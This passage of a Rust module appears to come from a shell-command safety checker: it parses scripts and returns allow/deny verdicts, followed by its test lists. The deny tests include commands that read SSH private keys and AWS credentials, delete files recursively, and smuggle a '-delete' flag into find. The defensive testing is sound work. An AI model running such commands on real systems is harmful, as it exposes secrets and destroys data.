1use super::*;
2use crate::parse::Token;
3use crate::verdict::{SafetyLevel, Verdict};
4use crate::{handlers, pathctx::judging};
5
6thread_local! {
7 static CLASSIFY_WORK: std::cell::Cell<u32> = const { std::cell::Cell::new(0) };
14 static CLASSIFY_DEPTH: std::cell::Cell<u32> = const { std::cell::Cell::new(0) };
15}
16
17const MAX_CLASSIFY_WORK: u32 = 512;
23
24pub(super) struct ClassifyGuard;
28
29impl ClassifyGuard {
30 pub(super) fn enter() -> Option<Self> {
31 if CLASSIFY_DEPTH.with(|d| d.get()) == 0 {
32 CLASSIFY_WORK.with(|w| w.set(0));
33 }
34 let spent = CLASSIFY_WORK.with(|w| {
35 let n = w.get().saturating_add(1);
36 w.set(n);
37 n
38 });
39 if spent > MAX_CLASSIFY_WORK {
40 return None;
41 }
42 CLASSIFY_DEPTH.with(|d| d.set(d.get() + 1));
43 Some(ClassifyGuard)
44 }
45}
46
47impl Drop for ClassifyGuard {
48 fn drop(&mut self) {
49 let depth = CLASSIFY_DEPTH.with(|d| {
50 let n = d.get().saturating_sub(1);
51 d.set(n);
52 n
53 });
54 if depth == 0 {
62 CLASSIFY_WORK.with(|w| w.set(0));
63 }
64 }
65}
66
67pub(crate) fn charge_classify_work(units: u32) -> bool {
77 CLASSIFY_WORK.with(|w| {
78 let n = w.get().saturating_add(units);
79 w.set(n);
80 n <= MAX_CLASSIFY_WORK
81 })
82}
83
84pub fn command_verdict(input: &str) -> Verdict {
85 let Some(_guard) = ClassifyGuard::enter() else {
86 return Verdict::Denied; };
88 let Some(script) = parse(input) else {
89 return Verdict::Denied;
90 };
91 script_verdict(&script)
92}
93
94pub fn is_safe_command(input: &str) -> bool {
95 command_verdict(input).is_allowed()
96}
97
98thread_local! {
99 static FUNCTIONS: std::cell::RefCell<Vec<(String, Script)>> =
103 const { std::cell::RefCell::new(Vec::new()) };
104 static POISONED_FUNCS: std::cell::RefCell<Vec<String>> =
109 const { std::cell::RefCell::new(Vec::new()) };
110 static RESOLVING: std::cell::RefCell<Vec<String>> = const { std::cell::RefCell::new(Vec::new()) };
113}
114
115const MAX_FUNC_DEPTH: usize = 32;
116
117const UNCERTAIN_VALUE: &str = "/__SAFE_CHAINS_CMDSUB__";
121
122struct FuncScope;
123impl Drop for FuncScope {
124 fn drop(&mut self) {
125 FUNCTIONS.with(|f| {
126 f.borrow_mut().pop();
127 });
128 }
129}
130
131fn define_function(name: String, body: Script) -> FuncScope {
132 FUNCTIONS.with(|f| f.borrow_mut().push((name, body)));
133 FuncScope
134}
135
136pub(super) fn lookup_function(name: &str) -> Option<Script> {
137 if POISONED_FUNCS.with(|p| p.borrow().iter().any(|n| n == name)) {
138 return None; }
140 FUNCTIONS.with(|f| f.borrow().iter().rev().find(|(n, _)| n == name).map(|(_, b)| b.clone()))
141}
142
143fn poison_function(name: String) {
146 POISONED_FUNCS.with(|p| p.borrow_mut().push(name));
147}
148
149struct ResolveScope;
150impl Drop for ResolveScope {
151 fn drop(&mut self) {
152 RESOLVING.with(|r| {
153 r.borrow_mut().pop();
154 });
155 }
156}
157
158fn begin_resolving(name: &str) -> Option<ResolveScope> {
164 let over_budget = CLASSIFY_WORK.with(|w| {
165 let n = w.get().saturating_add(1);
166 w.set(n);
167 n > MAX_CLASSIFY_WORK
168 });
169 if over_budget {
170 return None;
171 }
172 RESOLVING.with(|r| {
173 let mut stack = r.borrow_mut();
174 if stack.len() >= MAX_FUNC_DEPTH || stack.iter().any(|n| n == name) {
175 None
176 } else {
177 stack.push(name.to_string());
178 Some(ResolveScope)
179 }
180 })
181}
182
183fn script_verdict(script: &Script) -> Verdict {
184 walk_with_scope(script, |stmt| pipeline_verdict(&stmt.pipeline))
185 .into_iter()
186 .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
187}
188
189pub(crate) fn walk_with_scope<T>(script: &Script, mut per_stmt: impl FnMut(&Stmt) -> T) -> Vec<T> {
201 let mut running = crate::pathctx::cwd();
202 let mut _vars: Vec<crate::pathctx::VarGuard> = Vec::new();
203 let mut _funcs: Vec<FuncScope> = Vec::new();
204 let mut out = Vec::with_capacity(script.0.len());
205 for stmt in &script.0 {
206 out.push({
207 let _cwd = crate::pathctx::enter_cwd(running.clone());
208 per_stmt(stmt)
209 });
210 let effects = shell_effects(&stmt.pipeline);
211 let next = cd_target(&stmt.pipeline).and_then(|t| crate::pathctx::join_cwd(running.as_deref(), &t));
212 if next.is_some() {
213 running = next;
214 } else if effects.cwd {
215 running = Some(crate::pathctx::UNRESOLVED_CWD.to_string());
219 }
220 for (name, value) in statement_assignments(&stmt.pipeline) {
221 _vars.push(crate::pathctx::enter_var(name, value));
222 }
223 for name in effects.vars {
227 _vars.push(crate::pathctx::enter_var(name, UNCERTAIN_VALUE.to_string()));
228 }
229 for name in effects.funcs {
230 poison_function(name);
231 }
232 if let [Cmd::FunctionDef { name, body }] = stmt.pipeline.commands.as_slice() {
233 _funcs.push(define_function(name.clone(), body.clone()));
234 }
235 }
236 out
237}
238
239const MAX_CD_SCAN_DEPTH: usize = 16;
242
243#[derive(Default)]
256struct ShellEffects {
257 cwd: bool,
258 vars: Vec<String>,
259 funcs: Vec<String>,
260}
261
262fn shell_effects(pipeline: &Pipeline) -> ShellEffects {
264 let mut out = ShellEffects::default();
265 if let [only] = pipeline.commands.as_slice() {
266 let mut seen = Vec::new();
270 scan_effects(only, MAX_CD_SCAN_DEPTH, &mut seen, &mut out);
271 }
272 out
273}
274
275fn scan_effects(cmd: &Cmd, depth: usize, seen: &mut Vec<String>, out: &mut ShellEffects) {
276 let Some(depth) = depth.checked_sub(1) else {
277 out.cwd = true; return;
279 };
280 match cmd {
281 Cmd::Simple(s) => {
282 let Some(name) = s.words.first().map(Word::eval) else {
283 return; };
285 out.vars.extend(super::opaque::declared_names(s));
286 if name == "cd" {
287 out.cwd = true;
288 return;
289 }
290 if seen.contains(&name) {
292 return;
293 }
294 if let Some(body) = lookup_function(&name) {
295 seen.push(name);
296 scan_script_effects(&body, depth, seen, out);
297 }
298 }
299 Cmd::Subshell { .. } | Cmd::DoubleBracket { .. } | Cmd::FunctionDef { .. } => {}
301 Cmd::BraceGroup { body, .. } | Cmd::For { body, .. } => {
302 scan_script_effects(body, depth, seen, out);
303 }
304 Cmd::While { cond, body, .. } | Cmd::Until { cond, body, .. } => {
305 scan_script_effects(cond, depth, seen, out);
306 scan_script_effects(body, depth, seen, out);
307 }
308 Cmd::If { branches, else_body, .. } => {
309 for b in branches {
310 scan_script_effects(&b.cond, depth, seen, out);
311 scan_script_effects(&b.body, depth, seen, out);
312 }
313 if let Some(e) = else_body {
314 scan_script_effects(e, depth, seen, out);
315 }
316 }
317 Cmd::Case { arms, .. } => {
318 for a in arms {
319 scan_script_effects(&a.body, depth, seen, out);
320 }
321 }
322 }
323}
324
325fn scan_script_effects(script: &Script, depth: usize, seen: &mut Vec<String>, out: &mut ShellEffects) {
328 for st in &script.0 {
329 for (name, _) in statement_assignments(&st.pipeline) {
330 out.vars.push(name);
331 }
332 if let [Cmd::FunctionDef { name, .. }] = st.pipeline.commands.as_slice() {
333 out.funcs.push(name.clone());
334 }
335 if let [only] = st.pipeline.commands.as_slice() {
336 scan_effects(only, depth, seen, out);
337 }
338 }
339}
340
341fn cd_target(pipeline: &Pipeline) -> Option<String> {
344 let [Cmd::Simple(s)] = pipeline.commands.as_slice() else {
345 return None;
346 };
347 if s.words.first()?.eval() != "cd" {
348 return None;
349 }
350 s.words.iter().skip(1).map(|w| w.eval()).find(|a| !a.starts_with('-'))
351}
352
353fn read_loop_vars(cond: &Script) -> Vec<String> {
358 let [stmt] = cond.0.as_slice() else {
359 return Vec::new();
360 };
361 let [Cmd::Simple(s)] = stmt.pipeline.commands.as_slice() else {
362 return Vec::new();
363 };
364 let words: Vec<String> = s.words.iter().map(Word::eval).collect();
365 if words.first().map(String::as_str) != Some("read") {
366 return Vec::new();
367 }
368 words[1..].iter().filter(|w| !w.starts_with('-')).cloned().collect()
369}
370
371fn statement_assignments(pipeline: &Pipeline) -> Vec<(String, String)> {
376 let [Cmd::Simple(s)] = pipeline.commands.as_slice() else {
377 return Vec::new();
378 };
379 if !s.words.is_empty() {
380 return Vec::new();
381 }
382 s.env.iter().map(|(name, value)| (name.clone(), certain_value(value))).collect()
383}
384
385fn certain_value(word: &Word) -> String {
389 let raw = crate::pathctx::expand_vars(&word.eval(), false).into_owned();
390 if raw.contains('$') || is_opaque_value(&raw) { UNCERTAIN_VALUE.to_string() } else { raw }
394}
395
396pub(crate) fn is_opaque_value(raw: &str) -> bool {
400 ["__SAFE_CHAINS_CMDSUB__", "__SAFE_CHAINS_PROCSUB__", "__SAFE_CHAINS_ARITH__"]
401 .iter()
402 .any(|m| raw.contains(m))
403}
404
405#[cfg(test)]
406pub(crate) fn is_safe_script(script: &Script) -> bool {
407 script_verdict(script).is_allowed()
408}
409
410pub(crate) fn pipeline_verdict(pipeline: &Pipeline) -> Verdict {
411 let mut acc = Verdict::Allowed(SafetyLevel::Inert);
412 let (mut stream, mut items): (Option<String>, _) = (None, crate::pathctx::item_shape::UNKNOWN);
418 for (stage, cmd) in pipeline.commands.iter().enumerate() {
419 let _stdin = stream.clone().map(|r| super::opaque::enter_stdin(r, items));
420 acc = acc.combine(super::netargs::with_stdin(pipeline, stage, || cmd_verdict(cmd)));
421 items = super::opaque::stage_shape(cmd, items);
422 stream = Some(stage_output_repr(cmd, stream.as_deref()));
423 }
424 acc
425}
426
427const UNKNOWN_ITEM: &str = "/__SAFE_CHAINS_CMDSUB__";
432
433pub(super) fn stage_output_repr(cmd: &Cmd, input: Option<&str>) -> String {
438 let Cmd::Simple(s) = cmd else {
439 return UNKNOWN_ITEM.to_string();
440 };
441 let words: Vec<String> = s.words.iter().map(Word::eval).collect();
442 let Some(first) = words.first() else {
443 return UNKNOWN_ITEM.to_string();
444 };
445 let name = Token::from_raw(first.clone()).command_name().to_string();
446 let args: Vec<&str> = words[1..].iter().map(String::as_str).collect();
447 let through = || input.unwrap_or(UNKNOWN_ITEM).to_string();
448 match name.as_str() {
449 "find" | "fd" | "fdfind" if super::opaque::prints_only_paths(&args) => {
457 let roots = find_roots(&args);
458 let base = roots
459 .iter()
460 .max_by_key(|r| {
461 let (read, write) = (crate::engine::resolve::locus::read_locus(r), crate::engine::resolve::locus::write_locus(r));
462 read.max(write)
463 })
464 .copied()
465 .unwrap_or(".");
466 crate::engine::resolve::locus::traversal_item(base)
474 }
475 "ls" => {
477 if args.contains(&"-d") {
478 worst_arg_repr(&args)
479 } else {
480 "sc_item".to_string()
481 }
482 }
483 "echo" | "printf" => worst_arg_repr(&args),
485 "git" => match args.first() {
487 Some(&"ls-files") | Some(&"diff") | Some(&"status") | Some(&"grep") => "sc_item".to_string(),
488 _ => UNKNOWN_ITEM.to_string(),
489 },
490 "sort" | "uniq" | "cat" | "tac" if !reads_a_file(&args) => through(),
495 "head" | "tail" if !reads_a_file_after_count(&args) && !args.iter().any(|a| *a == "-c" || a.starts_with("--bytes")) => through(),
496 "tee" => through(),
498 _ => UNKNOWN_ITEM.to_string(),
499 }
500}
501
502fn reads_a_file(args: &[&str]) -> bool {
508 args.iter()
509 .any(|a| (!a.starts_with('-') && *a != "-") || *a == "--files0-from" || a.starts_with("--files0-from="))
510}
511
512fn reads_a_file_after_count(args: &[&str]) -> bool {
515 let mut i = 0;
516 while i < args.len() {
517 let a = args[i];
518 if matches!(a, "-n" | "-c" | "--lines" | "--bytes") {
519 i += 2; continue;
521 }
522 if a.starts_with('-') || a == "-" {
523 i += 1;
524 continue;
525 }
526 return true; }
528 false
529}
530
531fn source_ok(path: &str) -> bool {
534 crate::engine::resolve::read_content_verdict(path).is_allowed()
535}
536
537fn worst_arg_repr(args: &[&str]) -> String {
540 args.iter()
541 .filter(|a| !a.starts_with('-'))
542 .find(|a| !source_ok(a))
543 .map_or_else(|| "sc_item".to_string(), |a| (*a).to_string())
544}
545
546fn find_roots<'a>(args: &[&'a str]) -> Vec<&'a str> {
549 let mut i = 0;
550 while i < args.len() {
551 match args[i] {
552 "-H" | "-L" | "-P" => i += 1,
553 "-D" | "-O" => i += 2,
554 _ => break,
555 }
556 }
557 let mut roots = Vec::new();
558 while i < args.len() && !args[i].starts_with('-') && !matches!(args[i], "(" | "!" | ")" | ",") {
559 roots.push(args[i]);
560 i += 1;
561 }
562 if roots.is_empty() {
563 roots.push(".");
564 }
565 roots
566}
567
568pub fn is_safe_pipeline(pipeline: &Pipeline) -> bool {
569 pipeline_verdict(pipeline).is_allowed()
570}
571
572pub(crate) fn has_unsafe_syntax(cmd: &Cmd) -> bool {
573 match cmd {
574 Cmd::Simple(s) => !check_redirects(&s.redirs) || has_any_substitution(s),
575 _ => true,
576 }
577}
578
579fn has_any_substitution(cmd: &SimpleCmd) -> bool {
580 cmd.words.iter().any(has_substitution) || cmd.env.iter().any(|(_, v)| has_substitution(v))
581}
582
583pub(crate) fn normalize_for_matching(cmd: &SimpleCmd) -> Option<String> {
614 let mut parts = Vec::with_capacity(cmd.env.len() + cmd.words.len());
615 for (name, value) in &cmd.env {
616 let value = value.eval();
617 if value.chars().any(char::is_whitespace) {
618 return None;
619 }
620 parts.push(format!("{name}={value}"));
621 }
622 parts.extend(cmd.words.iter().map(|w| w.eval()));
623 Some(parts.join(" "))
624}
625
626pub(crate) fn cmd_verdict(cmd: &Cmd) -> Verdict {
627 match cmd {
628 Cmd::Simple(s) => simple_verdict(s),
629 Cmd::Subshell { body, redirs } | Cmd::BraceGroup { body, redirs } => {
630 let body_v = script_verdict(body);
631 if let Verdict::Denied = body_v {
632 return Verdict::Denied;
633 }
634 let redir_v = redirect_verdict(redirs);
635 if let Verdict::Denied = redir_v {
636 return Verdict::Denied;
637 }
638 body_v.combine(redir_v)
639 }
640 Cmd::For { var, items, body, redirs } => {
641 let redir_v = redirect_verdict(redirs);
642 if let Verdict::Denied = redir_v {
643 return Verdict::Denied;
644 }
645 let item_strs: Vec<String> = items.iter().map(Word::eval).collect();
649 let body_v = match crate::engine::resolve::loop_reprs(&item_strs) {
650 Some((read_repr, write_repr)) => {
651 let _g = super::opaque::enter_loop(var, items, read_repr, write_repr);
652 super::netargs::with_loop(var, items, body, || script_verdict(body))
653 }
654 None => script_verdict(body),
655 };
656 words_sub_verdict(items).combine(body_v).combine(redir_v)
657 }
658 Cmd::While { cond, body, redirs } | Cmd::Until { cond, body, redirs } => {
659 let redir_v = redirect_verdict(redirs);
660 if let Verdict::Denied = redir_v {
661 return Verdict::Denied;
662 }
663 let cond_v = script_verdict(cond);
664 let _binds: Vec<_> = match crate::pathctx::stdin_item_repr() {
669 Some(repr) => read_loop_vars(cond).into_iter().map(|v| super::opaque::enter_read_var(v, &repr)).collect(),
670 None => Vec::new(),
671 };
672 cond_v.combine(script_verdict(body)).combine(redir_v)
673 }
674 Cmd::If { branches, else_body, redirs } => {
675 let redir_v = redirect_verdict(redirs);
676 if let Verdict::Denied = redir_v {
677 return Verdict::Denied;
678 }
679 let mut v = redir_v;
680 for b in branches {
681 v = v.combine(script_verdict(&b.cond)).combine(script_verdict(&b.body));
682 }
683 if let Some(eb) = else_body {
684 v = v.combine(script_verdict(eb));
685 }
686 v
687 }
688 Cmd::DoubleBracket { words, redirs } => words_sub_verdict(words).combine(redirect_verdict(redirs)),
689 Cmd::Case { subject, arms, redirs } => {
693 let redir_v = redirect_verdict(redirs);
694 if let Verdict::Denied = redir_v {
695 return Verdict::Denied;
696 }
697 let mut v = redir_v.combine(word_sub_verdict(subject));
698 for arm in arms {
699 v = v.combine(words_sub_verdict(&arm.patterns)).combine(script_verdict(&arm.body));
700 }
701 v
702 }
703 Cmd::FunctionDef { .. } => Verdict::Allowed(SafetyLevel::Inert),
707 }
708}
709
710pub(crate) fn is_safe_cmd(cmd: &Cmd) -> bool {
711 cmd_verdict(cmd).is_allowed()
712}
713
714fn part_sub_verdict(part: &WordPart) -> Verdict {
715 match part {
716 WordPart::CmdSub(inner) | WordPart::ProcSub(inner) => script_verdict(inner),
717 WordPart::Backtick(raw) => command_verdict(raw),
718 WordPart::DQuote(inner) => word_sub_verdict(inner),
719 WordPart::Arith(inner) => word_sub_verdict(inner),
721 _ => Verdict::Allowed(SafetyLevel::Inert),
722 }
723}
724
725fn word_sub_verdict(word: &Word) -> Verdict {
726 word.0.iter().map(part_sub_verdict).fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
727}
728
729fn words_sub_verdict(words: &[Word]) -> Verdict {
730 words.iter().map(word_sub_verdict).fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
731}
732
733#[cfg(test)]
734pub(crate) fn word_subs_safe(word: &Word) -> bool {
735 word_sub_verdict(word).is_allowed()
736}
737
738fn simple_verdict(cmd: &SimpleCmd) -> Verdict {
739 let redir_v = redirect_verdict(&cmd.redirs);
740 if let Verdict::Denied = redir_v {
741 return Verdict::Denied;
742 }
743
744 let env_sub_v = cmd
745 .env
746 .iter()
747 .map(|(_, v)| word_sub_verdict(v))
748 .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine);
749 let word_sub_v = words_sub_verdict(&cmd.words);
750
751 let env_name_v = cmd
761 .env
762 .iter()
763 .map(|(name, value)| crate::envvars::assignment_verdict(name, &value.eval()))
764 .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine);
765 let sub_v = env_sub_v.combine(word_sub_v).combine(env_name_v);
766
767 if let Verdict::Denied = sub_v {
768 return Verdict::Denied;
769 }
770
771 if cmd.words.is_empty() {
772 if cmd.env.is_empty() {
773 return Verdict::Allowed(SafetyLevel::Inert);
774 }
775 return sub_v.combine(redir_v);
776 }
777
778 let name = cmd.words[0].eval();
779
780 if let Some(body) = lookup_function(&name) {
788 let Some(_resolving) = begin_resolving(&name) else {
789 return Verdict::Denied;
790 };
791 let _args: Vec<crate::pathctx::VarGuard> = cmd.words[1..]
792 .iter()
793 .enumerate()
794 .map(|(i, w)| crate::pathctx::enter_var((i + 1).to_string(), certain_value(w)))
795 .collect();
796 return sub_v.combine(super::netargs::with_args(cmd, || script_verdict(&body))).combine(redir_v);
797 }
798
799 if name == "eval" {
800 return eval_verdict(cmd).combine(sub_v).combine(redir_v);
801 }
802
803 let words: Vec<Vec<Token>> = cmd.words.iter().map(|w| w.expand().into_iter().map(Token::from_raw).collect()).collect();
806 if words.iter().all(Vec::is_empty) {
807 return Verdict::Allowed(SafetyLevel::Inert);
808 }
809 if super::opaque::smuggles_a_flag(cmd) {
810 return Verdict::Denied;
811 }
812
813 let cmd_v = super::netargs::with_args(cmd, || super::opaque::probed_verdict(cmd, &words, judging(!cmd.env.is_empty(), leaf_verdict)));
814 sub_v.combine(cmd_v).combine(redir_v)
815}
816
817fn leaf_verdict(tokens: &[Token]) -> Verdict {
821 let legacy = handlers::dispatch(tokens);
822 super::netargs::with_egress(tokens, crate::engine::bridge::engine_verdict(tokens).unwrap_or(legacy))
823}
824
825fn eval_verdict(cmd: &SimpleCmd) -> Verdict {
826 if cmd.words.len() < 2 {
827 return Verdict::Denied;
828 }
829 for arg in &cmd.words[1..] {
830 if !arg_is_eval_safe(arg) {
831 return Verdict::Denied;
832 }
833 }
834 Verdict::Allowed(SafetyLevel::Inert)
835}
836
837fn arg_is_eval_safe(word: &Word) -> bool {
838 let mut found_safe = false;
839 for part in &word.0 {
840 match part {
841 WordPart::Lit(s) | WordPart::SQuote(s) => {
842 if !s.chars().all(char::is_whitespace) {
843 return false;
844 }
845 }
846 WordPart::Escape(c) => {
847 if !c.is_whitespace() {
848 return false;
849 }
850 }
851 WordPart::CmdSub(script) => {
852 if !script_yields_eval_safe(script) {
853 return false;
854 }
855 found_safe = true;
856 }
857 WordPart::Backtick(raw) => {
858 let Some(script) = parse(raw) else {
859 return false;
860 };
861 if !script_yields_eval_safe(&script) {
862 return false;
863 }
864 found_safe = true;
865 }
866 WordPart::DQuote(inner) => {
867 if !arg_is_eval_safe(inner) {
868 return false;
869 }
870 if has_substitution(inner) {
871 found_safe = true;
872 }
873 }
874 WordPart::ProcSub(_) | WordPart::Arith(_) | WordPart::AnsiC(_) => return false,
875 }
876 }
877 found_safe
878}
879
880fn script_yields_eval_safe(script: &Script) -> bool {
881 if script.0.len() != 1 {
882 return false;
883 }
884 let stmt = &script.0[0];
885 if !matches!(stmt.op, None | Some(ListOp::Semi)) {
886 return false;
887 }
888 let pipeline = &stmt.pipeline;
889 if pipeline.bang || pipeline.commands.len() != 1 {
890 return false;
891 }
892 let Cmd::Simple(s) = &pipeline.commands[0] else {
893 return false;
894 };
895 if !s.env.is_empty() {
896 return false;
897 }
898 if redirect_verdict(&s.redirs) != Verdict::Allowed(SafetyLevel::Inert) {
904 return false;
905 }
906 for w in &s.words {
907 if !word_is_plain_literal(w) {
908 return false;
909 }
910 }
911 let tokens: Vec<Token> = s.words.iter().flat_map(|w| w.expand().into_iter().map(Token::from_raw)).collect();
912 if tokens.is_empty() {
913 return false;
914 }
915 crate::registry::is_eval_safe_invocation(&tokens)
916}
917
918fn word_is_plain_literal(word: &Word) -> bool {
931 word.0.iter().all(part_is_plain_literal)
932}
933
934fn part_is_plain_literal(part: &WordPart) -> bool {
935 match part {
936 WordPart::Lit(s) | WordPart::SQuote(s) => s.chars().all(is_bare_literal_char),
937 WordPart::Escape(c) => is_bare_literal_char(*c),
938 WordPart::DQuote(inner) => word_is_plain_literal(inner),
939 WordPart::CmdSub(_) | WordPart::ProcSub(_) | WordPart::Backtick(_) | WordPart::Arith(_) | WordPart::AnsiC(_) => false,
940 }
941}
942
943fn is_bare_literal_char(c: char) -> bool {
949 c.is_ascii_alphanumeric() || matches!(c, '_' | '-' | '.' | '/' | '=')
950}
951
952pub(crate) fn check_redirects(redirs: &[Redir]) -> bool {
968 redirect_verdict(redirs).is_allowed()
969}
970
971fn is_safe_write_target(path: &str) -> bool {
978 crate::engine::resolve::write_target_verdict(path).is_allowed()
979}
980
981fn write_face(target: &Word) -> Verdict {
983 let t = target.eval();
984 if t == "/dev/null" {
985 Verdict::Allowed(SafetyLevel::Inert)
987 } else if is_safe_write_target(&t) {
988 Verdict::Allowed(SafetyLevel::SafeWrite)
989 } else {
990 Verdict::Denied
991 }
992}
993
994fn read_face(target: &Word) -> Verdict {
998 let t = target.eval();
999 if is_opaque_value(&t) { Verdict::Denied } else { crate::engine::resolve::read_content_verdict(&t) }
1003}
1004
1005pub(crate) fn redirect_verdict(redirs: &[Redir]) -> Verdict {
1006 let mut level = Verdict::Allowed(SafetyLevel::Inert);
1007 for r in redirs {
1008 match r {
1009 Redir::Write { target, .. } => {
1010 level = level.combine(word_sub_verdict(target));
1011 level = level.combine(write_face(target));
1012 }
1013 Redir::Read { target, .. } => {
1014 level = level.combine(word_sub_verdict(target));
1015 level = level.combine(read_face(target));
1016 }
1017 Redir::ReadWrite { target, .. } => {
1021 level = level.combine(word_sub_verdict(target));
1022 level = level.combine(write_face(target));
1023 level = level.combine(read_face(target));
1024 }
1025 Redir::HereStr(word) => {
1026 level = level.combine(word_sub_verdict(word));
1027 }
1028 Redir::HereDoc { body, .. } => {
1032 level = level.combine(word_sub_verdict(body));
1033 }
1034 Redir::DupFd { .. } => {}
1035 }
1036 }
1037 level
1038}
1039
1040fn has_substitution(word: &Word) -> bool {
1041 word.0.iter().any(|p| match p {
1042 WordPart::CmdSub(_) | WordPart::ProcSub(_) | WordPart::Backtick(_) | WordPart::Arith(_) => true,
1043 WordPart::DQuote(inner) => has_substitution(inner),
1044 _ => false,
1045 })
1046}
1047
1048#[cfg(test)]
1049mod tests {
1050 use super::*;
1051
1052 fn check(cmd: &str) -> bool {
1053 is_safe_command(cmd)
1054 }
1055
1056 #[test]
1057 fn loop_variable_inherits_the_list_locus() {
1058 for cmd in [
1061 "for f in ./*.txt; do cat \"$f\"; done",
1062 "for f in ./*.txt; do rm \"$f\"; done",
1063 "for f in src/*.rs; do grep foo \"$f\"; done",
1064 "for f in ./*.log; do sed -i s/a/b/ \"$f\"; done",
1065 "for f in a b c; do cat $f.bak; done",
1066 "for x in 1 2 3; do rm $x; done",
1067 "for d in a b; do for f in $d/x; do cat $f; done; done", ] {
1069 assert!(check(cmd), "worktree loop should allow: {cmd}");
1070 }
1071 for cmd in [
1073 "for f in /etc/*; do cat $f; done",
1074 "for f in /etc/*.conf; do rm $f; done",
1075 "for f in ~/.ssh/*; do cat $f; done",
1076 "for f in $LIST; do rm $f; done",
1077 "for f in $(find / -name x); do rm -rf $f; done",
1078 "for d in ~/.ssh; do for f in $d/id_rsa; do cat $f; done; done",
1080 "for f in /etc/hosts ~/.aws/credentials; do cat $f; done",
1083 "for f in *.txt; do cat \"$f\"; done",
1086 "for f in *.txt; do rm $f; done",
1087 "for f in src/*.rs; do grep foo $f; done",
1088 "for f in -delete; do find / $f; done",
1089 "for f in -delete; do find / \"$f\"; done",
1090 ] {
1091 assert!(!check(cmd), "non-worktree loop should deny: {cmd}");
1092 }
1093 }
1094
1095 safe! {
1096 grep_foo: "grep foo file.txt",
1097 jq_key: "jq '.key' file.json",
1098 base64_d: "base64 -d",
1099 ls_la: "ls -la",
1100 wc_l: "wc -l file.txt",
1101 ps_aux: "ps aux",
1102 echo_hello: "echo hello",
1103 cat_file: "cat file.txt",
1104
1105 version_go: "go --version",
1106 version_cargo: "cargo --version",
1107 version_cargo_redirect: "cargo --version 2>&1",
1108 help_cargo: "cargo --help",
1109 help_cargo_build: "cargo build --help",
1110
1111 dev_null_echo: "echo hello > /dev/null",
1112 dev_null_stderr: "echo hello 2> /dev/null",
1113 dev_null_append: "echo hello >> /dev/null",
1114 dev_null_git_log: "git log > /dev/null 2>&1",
1115 fd_redirect_ls: "ls 2>&1",
1116 stdin_dev_null: "git log < /dev/null",
1117
1118 env_prefix: "FOO='bar baz' ls -la",
1119 env_prefix_dq: "FOO=\"bar baz\" ls -la",
1120 env_rack_rspec: "RACK_ENV=test bundle exec rspec spec/foo_spec.rb",
1121
1122 subst_echo_ls: "echo $(ls)",
1123 subst_ls_pwd: "ls `pwd`",
1124 subst_nested: "echo $(echo $(ls))",
1125 subst_quoted: "echo \"$(ls)\"",
1126 assign_subst_ls: "out=$(ls)",
1127 assign_subst_git: "out=$(git status)",
1128 assign_subst_multiple: "a=$(ls) b=$(pwd)",
1129 assign_subst_backtick: "out=`ls`",
1130
1131 assign_bare_lit: "foo=bar",
1132 assign_bare_int: "x=1",
1133 assign_bare_empty: "x=",
1134 assign_bare_dq: "x=\"foo bar\"",
1135 assign_bare_sq: "x='foo bar'",
1136 assign_bare_param: "rc=$?",
1137 assign_bare_var: "x=$y",
1138 assign_bare_dollar_var_braced: "x=${y}",
1139 assign_bare_path: "PATH=/foo",
1140 assign_bare_multiple: "a=1 b=2 c=3",
1141 assign_bare_arith: "x=$((1 + 2))",
1142 assign_in_for_body: "for i in 1 2; do x=1; done",
1143 assign_rc_in_for_body: "for i in 1 2; do echo $i; rc=$?; done",
1144 assign_rc_in_while_body: "while test -f /tmp/x; do rc=$?; sleep 1; done",
1145 assign_rc_in_if_body: "if test -f foo; then rc=$?; fi",
1146 assign_then_use: "x=1; echo $x",
1147 assign_chained_with_safe: "x=1 && ls",
1148 assign_subshell: "(x=1)",
1149 assign_in_subshell_with_cmd: "(x=1; ls)",
1150
1151 loop_over_bounded_sub_write: "for f in $(fd a app/); do echo hi > $f; done",
1156 loop_over_pwd: "for f in $(pwd); do cat $f; done",
1157 loop_over_pwd_quoted: "for f in $(pwd); do cat \"$f/x\"; done",
1158 loop_over_pwd_pipeline: "for f in $(pwd | head -3); do cat $f; done",
1159
1160 case_single_arm: "case x in x) echo a;; esac",
1161 case_alternation: "case $x in a|b) ls;; *) echo n;; esac",
1162 case_paren_prefixed_pattern: "case \"$1\" in (start) ls;; (stop) pwd;; esac",
1163 case_last_arm_without_terminator: "case x in x) echo a; esac",
1164 case_empty_body: "case x in x) ;; esac",
1165 case_multiline: "case \"$1\" in\n start)\n ls -la\n ;;\n *)\n echo usage\n ;;\nesac",
1166 case_in_substitution: "echo $(case A in *) echo a;; esac)",
1167 case_nested_in_if: "if true; then case x in a) ls;; esac; fi",
1168 clobber_redirect: "ls >| out.txt",
1169 clobber_redirect_fd: "ls 1>| out.txt",
1170 readwrite_redirect: "ls <> f.txt",
1171 readwrite_redirect_devnull: "ls <> /dev/null",
1172
1173 subshell_echo: "(echo hello)",
1174 subshell_ls: "(ls)",
1175 subshell_chain: "(ls && echo done)",
1176 subshell_pipe: "(ls | grep foo)",
1177 subshell_nested: "((echo hello))",
1178 subshell_for: "(for x in 1 2; do echo $x; done)",
1179
1180 pipe_grep_head: "grep foo file.txt | head -5",
1181 pipe_cat_sort_uniq: "cat file | sort | uniq",
1182 chain_ls_echo: "ls && echo done",
1183 semicolon_ls_echo: "ls; echo done",
1184 bg_ls_echo: "ls & echo done",
1185 newline_echo_echo: "echo foo\necho bar",
1186
1187 stdin_read_from_path: "wc -l < /tmp/foo.log",
1188 stdin_read_in_subst: "while [ $(wc -l < /tmp/x) -lt 10 ]; do sleep 5; done",
1189 stdin_read_in_for_body: "for i in 1 2; do cat < /tmp/x; done",
1190
1191 here_string_grep: "grep -c , <<< 'hello,world,test'",
1192 heredoc_cat: "cat <<EOF\nhello world\nEOF",
1193 heredoc_quoted: "cat <<'EOF'\nhello\nEOF",
1194 heredoc_strip_tabs: "cat <<-EOF\n\thello\nEOF",
1195 heredoc_no_content: "cat <<EOF",
1196 heredoc_pipe: "cat <<EOF | grep hello\nhello\nEOF",
1197
1198 for_echo: "for x in 1 2 3; do echo $x; done",
1199 for_empty_body: "for x in 1 2 3; do; done",
1200 for_nested: "for x in 1 2; do for y in a b; do echo $x $y; done; done",
